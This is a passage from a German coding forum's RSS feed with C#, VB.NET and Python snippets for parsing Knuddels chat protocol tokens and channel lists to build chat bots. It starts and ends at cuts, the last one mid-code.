&nbsp; &nbsp; posDE = srcDE.find('?v=') + 3<br />
&nbsp; &nbsp; verDE = srcDE[posDE:posDE+5]<br />
<br />
&nbsp; &nbsp; print '\tTestServer: %s\n\tMainServer: %s' % (verTS, verDE)<br />
<br />
def getString(url):<br />
&nbsp; &nbsp; return urllib.urlopen(url).read()<br />
&nbsp; &nbsp; <br />
main()</code><hr />
</div>Wird immer mal erweitert.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>KrT</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knuddels-utilities-31340</guid>
		</item>
		<item>
			<title><![CDATA[[C#] TokenParser]]></title>
			<link>sourcecode-91/c-tokenparser-32079?goto=newpost</link>
			<pubDate>Tue, 15 Feb 2011 08:24:32 GMT</pubDate>
			<description>using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
 
namespace KNBot 
{ 
     
    class KNClient 
    {</description>
			<content:encoded><![CDATA[<div><script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
<br />
namespace KNBot<br />
{<br />
    <br />
    class KNClient<br />
    {<br />
        KNLib.Applet applet = new KNLib.Applet();<br />
        KNLib.Client client;<br />
        public delegate void voidHandler();<br />
        public delegate void oneStringHandler(String handler);<br />
        public delegate void twoStringHandler(String handler,String handler2);<br />
        public delegate void threeStringHandler(String handler,String handler2, String handler3);<br />
        private bool loginAble = false;<br />
<br />
      <br />
        public event threeStringHandler newPrivate;<br />
        public event threeStringHandler newPublic;<br />
        public event twoStringHandler newMe;<br />
        public event threeStringHandler newPopup;<br />
        public event threeStringHandler newUser;<br />
        public event oneStringHandler userLeft;<br />
        public event oneStringHandler allTokens;<br />
        public event oneStringHandler leftTokens;<br />
        <br />
<br />
<br />
        public bool isLoginAble()<br />
        { return loginAble;  }<br />
<br />
        public void logout()<br />
        {<br />
            client.Send(&quot;d\0&quot;);<br />
     <br />
<br />
        }<br />
<br />
<br />
        public int timeLeft()<br />
        {<br />
            return (int)(lastAction + 600 - time());<br />
        }<br />
<br />
        public void sendToken(String token)<br />
        {<br />
            lastAction = time();<br />
            client.Send(token);<br />
        }<br />
<br />
        <br />
        private void handleTokens(KNLib.Client client, String tokenO)<br />
        {<br />
            String&#91;&#93; token = tokenO.Split('\0');<br />
            tokenO = tokenO.Replace(&quot;\0&quot;, &quot;\\0&quot;);<br />
            if (allTokens != null) allTokens(tokenO);<br />
            if (token&#91;0&#93; == &quot;(&quot;) loginAble = true;<br />
            else if (token&#91;0&#93; == &quot;r&quot; &amp;&amp; newPrivate != null) newPrivate(token&#91;1&#93;, token&#91;2&#93;, token&#91;4&#93;);<br />
            else if (token&#91;0&#93; == &quot;e&quot; &amp;&amp; newPublic != null) newPublic(token&#91;1&#93;, token&#91;3&#93;, tokenO);<br />
            else if (token&#91;0&#93; == &quot;k&quot; &amp;&amp; newPopup != null) newPopup(token&#91;1&#93;, token&#91;4&#93;, token&#91;7&#93;);<br />
            else if (token&#91;0&#93; == &quot;l&quot; &amp;&amp; newUser != null) newUser(token&#91;2&#93;.Split('\n')&#91;0&#93;, token&#91;5&#93;, token&#91;6&#93;); <br />
            else if (token&#91;0&#93; == &quot;w&quot; &amp;&amp; userLeft != null) userLeft(token&#91;1&#93;);<br />
            else if (token&#91;0&#93; == &quot;t&quot; &amp;&amp; newMe != null) newMe(token&#91;1&#93;, token&#91;3&#93;); <br />
            else if (token&#91;0&#93; == &quot;u&quot; &amp;&amp; newUser != null)<br />
            {<br />
                //\0-\0<br />
                string&#91;&#93; stringSeparators = new string&#91;&#93; { &quot;\\0-\\0&quot; };<br />
                String&#91;&#93; result = tokenO.Split(stringSeparators, StringSplitOptions.None);<br />
                stringSeparators = new string&#91;&#93; { &quot;\\0&quot; };<br />
                for(int i = 1; i &lt; result.Length; i++)<br />
                {<br />
                    String&#91;&#93; user = result&#91;i&#93;.Split(stringSeparators, StringSplitOptions.None);<br />
                    newUser(user&#91;0&#93;.Split('\n')&#91;0&#93;, user&#91;1&#93;, user&#91;2&#93;);<br />
<br />
                }<br />
                <br />
                <br />
<br />
<br />
            }<br />
            else if (leftTokens != null) leftTokens(tokenO);<br />
<br />
        }<br />
<br />
        long lastAction;<br />
        private long time()<br />
        {<br />
            return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds;<br />
        }<br />
        public void login(String nick, String pass, String chan)<br />
        {<br />
            client.Login(nick, pass, chan);<br />
        }<br />
        public KNClient()<br />
        {<br />
            client = new KNLib.Client(applet);<br />
            client.Receive += new KNLib.Client.ReceiveHandler(this.handleTokens);<br />
           <br />
        }<br />
        public void connect(String host, int port)<br />
        {<br />
            client.Connect(host, port);<br />
            lastAction = time();<br />
        }<br />
        public void connect(String host, int port, String proxy, int proxyport)<br />
        {<br />
            client.Connect(host,port,proxy, proxyport);<br />
            lastAction = time();<br />
        }<br />
        public void disconnect()<br />
        {<br />
            client.Disconnect();<br />
        }<br />
        public String toString()<br />
        {<br />
            return client.ToString();<br />
        }<br />
        <br />
<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
P.S. Es ist noch nicht vollständig!<br />
<br />
Handler:<br />
allTokens - String Original // alle Tokens =&gt; vgl ReceiveHandler<br />
newPrivate - String Sender, String Empfänger, String Nachricht //bei neuer P-Nachricht<br />
newPublic - String Sender, String Nachricht, String OriginalNachricht // bei neuer Öffentlichen Nachricht<br />
newPopup - String title, Sting header, String text // Wenn ein Popup sich öffnen soll<br />
newUser - String Name, String Farbe, String Bilder // wenn ein User joined (auch bei Userliste laden)<br />
newMe - String User, String nachricht //wenn eine neue Aktion (t-Token stattfindet)<br />
userLeft - String user //wenn ein User leaved<br />
leftTokens - String OriginalToken //wenn andere Tokens vorhanden sind <br />
<br />
<br />
Wichtig: Die Tokens sind nicht per 0-Char bei mir getrennt, sondern per &quot;\\0&quot;<br />
<br />
<br />
<br />
Keine Garantie auf vollständigkeit und richtigkeit.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>silently</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-tokenparser-32079</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] KNLiB TokenParser]]></title>
			<link>sourcecode-91/vb-net-knlib-tokenparser-30983?goto=newpost</link>
			<pubDate>Tue, 01 Feb 2011 22:10:43 GMT</pubDate>
			<description>Hallo, 
 
Da mich immer wieder einige Personen angeschrieben haben, die Probleme mit den Tokens haben, habe ich heute einen TokenParser geschrieben....</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
Da mich immer wieder einige Personen angeschrieben haben, die Probleme mit den Tokens haben, habe ich heute einen TokenParser geschrieben. Mit dem TokenParser könnt ihr in wenigen Sekunden einen funktionierenden Bot Eurer Wahl schreiben. Es sind nur sehr wenige Schritte notwendig. Und das beste: Man muss sich nicht mit Tokens auskennen. Außerdem sind erweiterte Beispiele und Kommentare vorhanden, sodass sie jeder Coder verstehen muss. Wenn nicht fehlen einfach noch die Kentnisse, die man aber eigentlich besitzen muss, um fortzufahren.<br />
<br />
<b>Der nachfolgende Code muss <u>in</u> das client_Receive Event von der KNLib eingefügt werden:</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Dim t() As String = token.Split(vbNullChar)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Select Case t(0)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;(&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; clien.Login(TextBox2.Text, TextBox3.Text, TextBox4.Text)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;e&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onPublicMessage(t(1), t(3), t(2))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;r&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onPrivateMessage(t(1), t(2), t(4))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;t&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onActionMessage(t(1), t(3))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;l&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onChannelJoin(t(2))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;w&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onChannelLeave(t(1))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;,&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onPing(t(1).Split(&quot;|&quot;)(0), t(1).Split(&quot;|&quot;)(1))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;u&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim userList As New List(Of String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; For i As Integer = 2 To t.Length - 1<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If Regex.IsMatch(t(i), &quot;([0-9]+/,[0-9]+/,[0-9]+|[a-z]|/-|p|-)&quot;) Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim userName() As String = t(i).Split(vbLf)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If Not userName(0) = &quot;-&quot; And Not userName(0) = &quot;p&quot; And Not userName(0) = &quot;b&quot; And Not userName(0).StartsWith(&quot;pics/&quot;) Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; userList.Add(userName(0))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Next<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onUserList(userList, t(1))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Case &quot;k&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onPopup(Regex.Match(t(4), &quot;ûãCl(.+)õb&quot;).Groups(1).Value, Regex.Match(t(7), &quot;h¾¼ûããCc(.+)õ&quot;).Groups(1).Value.Replace(&quot;õ~tp&quot;, &quot;&quot;))<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; End Select</code><hr />
</div><b>Nun muss man nur noch Folgendes erstellen:</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">' Dieses Event wird aufgerufen, wenn eine öffentliche Channelnachricht empfangen wurde.<br />
<br />
&nbsp; &nbsp; ' fromNickname:&nbsp; &nbsp; &nbsp; Nickname, von dem die Nachricht kam<br />
&nbsp; &nbsp; ' message:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Nachricht, die empfangen wurde<br />
&nbsp; &nbsp; ' fromChannel:&nbsp; &nbsp; &nbsp;  Channel, in dem die Nachricht geschrieben wurde<br />
<br />
&nbsp; &nbsp; Public Sub onPublicMessage(ByVal fromNickname As String, ByVal message As String, ByVal fromChannel As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(fromNickname + &quot;: &quot; + message + vbLf)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.ScrollToCaret()<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird aufgerufen, wenn eine private Nachricht empfangen wurde.<br />
<br />
&nbsp; &nbsp; ' fromNickname:&nbsp; &nbsp; &nbsp; Nickname, von dem die Nachricht kam<br />
&nbsp; &nbsp; ' toNickname:&nbsp; &nbsp; &nbsp; &nbsp; Nickname, an den die Nachricht geschrieben wurde (mehrere möglich)<br />
&nbsp; &nbsp; ' message:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Nachricht, die empfangen wurde<br />
<br />
&nbsp; &nbsp; Public Sub onPrivateMessage(ByVal fromNickname As String, ByVal toNickname As String, ByVal message As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(fromNickname + &quot; (privat an &quot; + toNickname + &quot;): &quot; + message + vbLf)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.ScrollToCaret()<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird aufgerufen, wenn eine Aktionsnachricht empfangen wurde.<br />
&nbsp; &nbsp; ' Hinweis: fromNickname kann leer sein, dann ist es eine reine Funktion,<br />
&nbsp; &nbsp; ' z.B. /kiss. Ansonsten z.B. bei /me der normale Nickname.<br />
<br />
&nbsp; &nbsp; ' fromNickname:&nbsp; &nbsp; &nbsp; Nickname, der die Aktion ausgelöst hat<br />
&nbsp; &nbsp; ' message:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Nachricht, die empfangen wurde<br />
<br />
&nbsp; &nbsp; Public Sub onActionMessage(ByVal fromNickname As String, ByVal message As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If fromNickname = String.Empty Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(&quot;&gt;&gt;&gt; &quot; + message + vbLf)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Else<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(fromNickname + &quot; &quot; + message + vbLf)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.ScrollToCaret()<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird ausgelöst, wenn ein User den Channel betreten hat.<br />
<br />
&nbsp; &nbsp; ' nickname:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Nickname, der sich neu eingeloggt hat<br />
<br />
&nbsp; &nbsp; Public Sub onChannelJoin(ByVal nickname As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ListBox1.Items.Add(nickname)<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird ausgelöst, wenn ein User den Channel verlassen hat.<br />
<br />
&nbsp; &nbsp; ' nickname:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Nickname, der sich aus dem Channel ausgeloggt hat<br />
<br />
&nbsp; &nbsp; Public Sub onChannelLeave(ByVal nickname As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ListBox1.Items.Remove(nickname)<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird ausgelöst, wenn man selbst gepingt worden ist.<br />
<br />
&nbsp; &nbsp; ' nickname:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Nickname, der Dich gepingt hat<br />
&nbsp; &nbsp; ' key:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Ein Zeitstempel um später anzuzeigen, wie lange der Ping gedauert hat<br />
<br />
&nbsp; &nbsp; Public Sub onPing(ByVal nickname As String, ByVal key As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; MessageBox.Show(&quot;Empfange Ping von &quot; + nickname + &quot; mit dem Key &quot; + key + &quot;...&quot;, &quot;Achtung&quot;)<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird ausgelöst, wenn eine Userliste (Nickname) empfangen wurde.<br />
<br />
&nbsp; &nbsp; ' userList:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Liste aller Chatter, die im Channel eingeloggt sind<br />
&nbsp; &nbsp; ' channel:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Der Name des aktuellen Channels, hier vielseitig weiterverwendbar<br />
<br />
&nbsp; &nbsp; Public Sub onUserList(ByVal userList As List(Of String), ByVal channel As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ListBox1.Items.Clear()<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; For Each nickname In userList<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ListBox1.Items.Add(nickname)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Next<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; myChannel = channel<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; ' Dieses Event wird ausgelöst, wenn man im Chat ein Popup-Fenster empfangen hat.<br />
<br />
&nbsp; &nbsp; ' title:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Der Title des Fensters<br />
&nbsp; &nbsp; ' message:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Die Nachricht (der Inhalt) des Fensters<br />
<br />
&nbsp; &nbsp; Public Sub onPopup(ByVal title As String, ByVal message As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; MessageBox.Show(message, title, MessageBoxButtons.OK, MessageBoxIcon.Information)<br />
<br />
&nbsp; &nbsp; End Sub</code><hr />
</div>Wer noch Fragen hat, einfach melden. Aber es sollte sich alles von selbst erklären eigentlich.<br />
<br />
Grüße</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Diebspiel</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-knlib-tokenparser-30983</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Channellist parsen]]></title>
			<link>sourcecode-91/c-channellist-parsen-31745?goto=newpost</link>
			<pubDate>Mon, 31 Jan 2011 20:01:10 GMT</pubDate>
			<description><![CDATA[Hi, 
 
N00B hat nach dem Parser gefragt, jetzt gibt's ihn wieder für euch. 
Macht damit, was ihr wollt, z.B. Werbebot. 
 
 
PHP: 
--------- 
       ...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
N00B hat nach dem Parser gefragt, jetzt gibt's ihn wieder für euch.<br />
Macht damit, was ihr wollt, z.B. Werbebot.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;internal&nbsp;</span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">Parser<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Globale&nbsp;Variablen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;ChannelName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;ChannelCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Erstellt&nbsp;eine&nbsp;ChannelList<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="input"&gt;Die&nbsp;Daten&nbsp;vom&nbsp;Server&nbsp;(b-Token)&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;ChannelList&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">internal&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">ParseChannelList</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Splitte&nbsp;die&nbsp;Daten&nbsp;"-\0"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">channelListParameters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">input</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #DD0000">"-\0"&nbsp;</span><span style="color: #007700">},&nbsp;</span><span style="color: #0000BB">StringSplitOptions</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveEmptyEntries</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Initalisiere&nbsp;eine&nbsp;neue&nbsp;Liste&nbsp;(Channel)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">List&lt;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">channelList&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gehe&nbsp;jeden&nbsp;Eintrag&nbsp;durch<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">foreach&nbsp;(</span><span style="color: #0000BB">string&nbsp;parameter&nbsp;in&nbsp;channelListParameters</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Füge&nbsp;den&nbsp;Channel&nbsp;(ParseChannel&nbsp;gibt&nbsp;einen&nbsp;Channel&nbsp;zurück)&nbsp;in&nbsp;unsere&nbsp;List&nbsp;hinzu<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">channelList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">ParseChannel</span><span style="color: #007700">(</span><span style="color: #0000BB">parameter</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gebe&nbsp;die&nbsp;Liste&nbsp;als&nbsp;Array&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">channelList</span><span style="color: #007700">.</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Erstellt&nbsp;einen&nbsp;Channel&nbsp;aus&nbsp;den&nbsp;dazugehörigen&nbsp;Parametern<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="parameters"&gt;Die&nbsp;Channelparameter&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;Channel&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">Channel&nbsp;ParseChannel</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;parameters</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Falls&nbsp;die&nbsp;aktuelle&nbsp;Daten&nbsp;mit&nbsp;b\0&nbsp;anfangen&nbsp;(am&nbsp;Anfang:&nbsp;b\00-8-15...)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">parameters</span><span style="color: #007700">.</span><span style="color: 